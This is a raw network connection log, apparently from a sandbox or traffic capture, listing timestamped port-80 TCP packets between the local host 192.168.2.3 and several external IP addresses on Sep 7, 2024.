Sep 7, 2024 15:36:08.904505968 CEST	61501	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:09.330558062 CEST	61502	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:09.335447073 CEST	80	61502	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:09.335536003 CEST	61502	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:09.351226091 CEST	61502	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:09.357227087 CEST	61503	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:09.358464003 CEST	80	61502	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:09.358513117 CEST	61502	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:09.362567902 CEST	80	61503	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:09.362667084 CEST	61503	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:09.366636992 CEST	61503	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:09.372087002 CEST	80	61503	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:09.848073959 CEST	80	61503	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:09.848253965 CEST	61503	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:09.848303080 CEST	80	61503	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:09.848361969 CEST	61503	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:09.850531101 CEST	61501	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:09.850868940 CEST	61504	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:09.855696917 CEST	80	61501	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:09.855767012 CEST	61501	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:09.855865002 CEST	80	61504	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:09.855947971 CEST	61504	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:09.856163979 CEST	61504	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:09.861046076 CEST	80	61504	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:10.350342035 CEST	80	61504	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:10.350393057 CEST	61504	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:11.100841999 CEST	61505	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:11.105685949 CEST	80	61505	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:11.105767012 CEST	61505	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:11.105882883 CEST	61505	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:11.110763073 CEST	61506	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:11.111268044 CEST	80	61505	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:11.111323118 CEST	61505	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:11.115602016 CEST	80	61506	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:11.115694046 CEST	61506	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:11.116689920 CEST	61506	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:11.121634960 CEST	80	61506	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:11.598535061 CEST	80	61506	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:11.598655939 CEST	61506	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:11.598921061 CEST	80	61506	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:11.598959923 CEST	61506	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:11.620524883 CEST	61504	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:11.620836020 CEST	61507	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:11.625674963 CEST	80	61504	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:11.625727892 CEST	61504	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:11.626068115 CEST	80	61507	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:11.626193047 CEST	61507	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:11.626349926 CEST	61507	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:11.631325006 CEST	80	61507	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:12.123244047 CEST	80	61507	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:12.124138117 CEST	61507	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:12.980895042 CEST	61508	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:12.986788034 CEST	80	61508	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:12.988148928 CEST	61508	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:12.991811991 CEST	61508	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:12.995835066 CEST	61509	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:12.997373104 CEST	80	61508	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:12.998949051 CEST	61508	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:13.003287077 CEST	80	61509	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:13.004179001 CEST	61509	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:13.004276991 CEST	61509	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:13.009160042 CEST	80	61509	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:13.500818014 CEST	80	61509	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:13.500952005 CEST	61509	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:13.501137018 CEST	80	61509	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:13.501178980 CEST	61509	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:13.501343966 CEST	61507	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:13.501760006 CEST	61510	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:13.506474972 CEST	80	61507	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:13.506572008 CEST	61507	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:13.506591082 CEST	80	61510	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:13.506654024 CEST	61510	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:13.510247946 CEST	61510	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:13.518948078 CEST	80	61510	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:14.014981985 CEST	80	61510	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:14.015052080 CEST	61510	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:14.917375088 CEST	61511	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:14.922668934 CEST	80	61511	64.70.19.203	192.168.2.3
Sep 7, 2024 15:36:14.922758102 CEST	61511	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:14.929145098 CEST	61511	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:14.933336020 CEST	61512	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:14.934123993 CEST	80	61511	64.70.19.203	192.168.2.3
Sep 7, 2024 15:36:14.934201002 CEST	61511	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:14.938167095 CEST	80	61512	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:14.938225031 CEST	61512	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:14.938307047 CEST	61512	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:14.943598986 CEST	80	61512	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:15.422403097 CEST	80	61512	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:15.422667980 CEST	80	61512	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:15.422759056 CEST	61512	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:15.422856092 CEST	61512	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:15.450246096 CEST	61510	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:15.450535059 CEST	61513	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:15.455528021 CEST	80	61510	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:15.455926895 CEST	80	61513	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:15.455990076 CEST	61510	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:15.456018925 CEST	61513	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:15.456192970 CEST	61513	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:15.460988998 CEST	80	61513	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:15.961560965 CEST	80	61513	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:15.961659908 CEST	61513	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:19.884711981 CEST	61514	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:19.889693975 CEST	80	61514	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:19.889772892 CEST	61514	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:19.889887094 CEST	61514	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:19.894494057 CEST	61515	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:19.895339966 CEST	80	61514	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:19.895461082 CEST	61514	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:19.900178909 CEST	80	61515	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:19.900262117 CEST	61515	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:19.900356054 CEST	61515	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:19.905241966 CEST	80	61515	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:20.403390884 CEST	80	61515	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:20.403522015 CEST	61515	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:20.404324055 CEST	80	61515	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:20.404381037 CEST	61515	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:20.418438911 CEST	61513	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:20.419069052 CEST	61516	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:20.423614025 CEST	80	61513	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:20.423676014 CEST	61513	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:20.424036980 CEST	80	61516	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:20.424114943 CEST	61516	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:20.424276114 CEST	61516	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:20.429099083 CEST	80	61516	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:20.931518078 CEST	80	61516	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:20.934077024 CEST	61516	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:21.582449913 CEST	61517	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:21.587846994 CEST	80	61517	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:21.587924957 CEST	61517	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:21.601203918 CEST	61517	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:21.607538939 CEST	80	61517	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:21.607594967 CEST	61517	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:21.621637106 CEST	61518	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:21.628515959 CEST	80	61518	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:21.628601074 CEST	61518	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:21.632625103 CEST	61518	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:21.638637066 CEST	80	61518	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:22.261085987 CEST	80	61518	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:22.261483908 CEST	80	61518	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:22.261495113 CEST	80	61518	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:22.261553049 CEST	61518	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:22.263633013 CEST	61518	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:22.311636925 CEST	61516	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:22.311935902 CEST	61519	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:22.317854881 CEST	80	61516	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:22.318339109 CEST	80	61519	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:22.318393946 CEST	61516	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:22.318430901 CEST	61519	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:22.319037914 CEST	61519	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:22.324908972 CEST	80	61519	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:22.805072069 CEST	80	61519	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:22.805211067 CEST	61519	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:22.924848080 CEST	61520	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:22.929657936 CEST	80	61520	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:22.930135965 CEST	61520	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:22.944988012 CEST	61520	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:22.948942900 CEST	61521	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:22.950134039 CEST	80	61520	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:22.950195074 CEST	61520	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:22.954529047 CEST	80	61521	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:22.957151890 CEST	61521	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:22.960393906 CEST	61521	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:22.965202093 CEST	80	61521	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:23.452869892 CEST	80	61521	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:23.452999115 CEST	61521	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:23.453218937 CEST	80	61521	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:23.453263998 CEST	61521	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:23.453286886 CEST	61519	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:23.453643084 CEST	61522	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:23.458441019 CEST	80	61519	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:23.458585024 CEST	80	61522	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:23.458666086 CEST	61522	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:23.458694935 CEST	61519	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:23.458837986 CEST	61522	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:23.464631081 CEST	80	61522	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:24.073371887 CEST	80	61522	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:24.073471069 CEST	61522	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:24.237643957 CEST	61523	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:24.246531963 CEST	80	61523	64.70.19.203	192.168.2.3
Sep 7, 2024 15:36:24.246589899 CEST	61523	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:24.246732950 CEST	61523	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:24.252556086 CEST	80	61523	64.70.19.203	192.168.2.3
Sep 7, 2024 15:36:24.252628088 CEST	61523	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:24.261435986 CEST	61524	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:24.267414093 CEST	80	61524	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:24.267492056 CEST	61524	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:24.267636061 CEST	61524	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:24.273582935 CEST	80	61524	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:24.774418116 CEST	80	61524	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:24.774584055 CEST	61524	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:24.774893045 CEST	80	61524	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:24.774945021 CEST	61524	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:24.775391102 CEST	61522	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:24.775976896 CEST	61525	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:24.780466080 CEST	80	61522	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:24.780525923 CEST	61522	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:24.781069994 CEST	80	61525	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:24.781155109 CEST	61525	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:24.782293081 CEST	61525	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:24.787616014 CEST	80	61525	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:25.284590960 CEST	80	61525	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:25.284683943 CEST	61525	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:26.688694954 CEST	55698	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:26.694485903 CEST	80	55698	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:26.694550991 CEST	55698	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:26.694782972 CEST	55698	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:26.699116945 CEST	55699	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:26.700970888 CEST	80	55698	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:26.701051950 CEST	55698	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:26.704703093 CEST	80	55699	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:26.704770088 CEST	55699	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:26.710438967 CEST	55699	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:26.715696096 CEST	80	55699	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:27.197906017 CEST	80	55699	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:27.198241949 CEST	55699	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:27.198335886 CEST	80	55699	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:27.199759007 CEST	55699	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:27.214114904 CEST	61525	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:27.214473963 CEST	55700	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:27.219364882 CEST	80	61525	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:27.219449997 CEST	61525	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:27.219690084 CEST	80	55700	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:27.220146894 CEST	55700	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:27.220393896 CEST	55700	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:27.225452900 CEST	80	55700	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:27.709809065 CEST	80	55700	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:27.709918022 CEST	55700	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:29.117291927 CEST	55701	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:29.122122049 CEST	80	55701	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:29.124180079 CEST	55701	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:29.132311106 CEST	55701	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:29.136498928 CEST	55702	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:29.137535095 CEST	80	55701	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:29.140182972 CEST	55701	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:29.141315937 CEST	80	55702	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:29.141397953 CEST	55702	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:29.141473055 CEST	55702	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:29.146382093 CEST	80	55702	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:29.634191036 CEST	80	55702	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:29.634448051 CEST	80	55702	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:29.634526014 CEST	55702	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:29.634584904 CEST	55702	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:29.634825945 CEST	55700	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:29.635111094 CEST	55703	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:29.640376091 CEST	80	55700	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:29.640440941 CEST	80	55703	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:29.640502930 CEST	55700	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:29.640532017 CEST	55703	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:29.640697002 CEST	55703	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:29.645658970 CEST	80	55703	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:30.147211075 CEST	80	55703	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:30.147412062 CEST	55703	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:30.258626938 CEST	55704	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:30.263578892 CEST	80	55704	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:30.263703108 CEST	55704	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:30.263791084 CEST	55704	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:30.269121885 CEST	80	55704	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:30.269181013 CEST	55704	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:30.281358957 CEST	55705	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:30.286334991 CEST	80	55705	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:30.286453009 CEST	55705	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:30.288595915 CEST	55705	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:30.293454885 CEST	80	55705	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:30.779432058 CEST	80	55705	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:30.779572010 CEST	55705	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:30.779720068 CEST	80	55705	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:30.779782057 CEST	55705	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:30.793128014 CEST	55703	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:30.793517113 CEST	55706	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:30.798257113 CEST	80	55703	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:30.798314095 CEST	55703	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:30.799148083 CEST	80	55706	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:30.799245119 CEST	55706	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:30.799482107 CEST	55706	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:30.807116985 CEST	80	55706	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:31.312599897 CEST	80	55706	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:31.312670946 CEST	55706	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:31.992436886 CEST	55707	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:31.997642040 CEST	80	55707	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:31.998131037 CEST	55707	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:32.007335901 CEST	55707	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:32.011292934 CEST	55708	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:32.012280941 CEST	80	55707	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:32.012346983 CEST	55707	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:32.016408920 CEST	80	55708	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:32.018068075 CEST	55708	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:32.023019075 CEST	55708	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:32.027932882 CEST	80	55708	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:32.501532078 CEST	80	55708	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:32.501660109 CEST	80	55708	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:32.501696110 CEST	55708	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:32.501696110 CEST	55708	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:32.501877069 CEST	55706	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:32.502167940 CEST	55709	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:32.507275105 CEST	80	55706	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:32.507345915 CEST	55706	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:32.507404089 CEST	80	55709	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:32.507613897 CEST	55709	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:32.511466026 CEST	55709	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:32.516509056 CEST	80	55709	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:32.989595890 CEST	80	55709	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:32.991168976 CEST	55709	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:33.102840900 CEST	55710	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:33.107780933 CEST	80	55710	64.70.19.203	192.168.2.3
Sep 7, 2024 15:36:33.107851982 CEST	55710	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:33.107958078 CEST	55710	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:33.113373995 CEST	80	55710	64.70.19.203	192.168.2.3
Sep 7, 2024 15:36:33.113431931 CEST	55710	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:33.126038074 CEST	55711	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:33.131146908 CEST	80	55711	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:33.131262064 CEST	55711	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:33.131321907 CEST	55711	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:33.136338949 CEST	80	55711	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:33.615055084 CEST	80	55711	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:33.615159035 CEST	80	55711	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:33.615223885 CEST	55711	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:33.615223885 CEST	55711	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:33.615480900 CEST	55709	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:33.615770102 CEST	55712	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:33.621191978 CEST	80	55709	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:33.621205091 CEST	80	55712	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:33.621269941 CEST	55709	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:33.621299982 CEST	55712	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:33.621462107 CEST	55712	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:33.626557112 CEST	80	55712	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:34.127366066 CEST	80	55712	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:34.127888918 CEST	55712	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:34.244333982 CEST	55713	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:34.249387026 CEST	80	55713	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:34.249526978 CEST	55713	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:34.249627113 CEST	55713	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:34.254731894 CEST	80	55713	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:34.254857063 CEST	55713	80	192.168.2.3	45.79.222.138
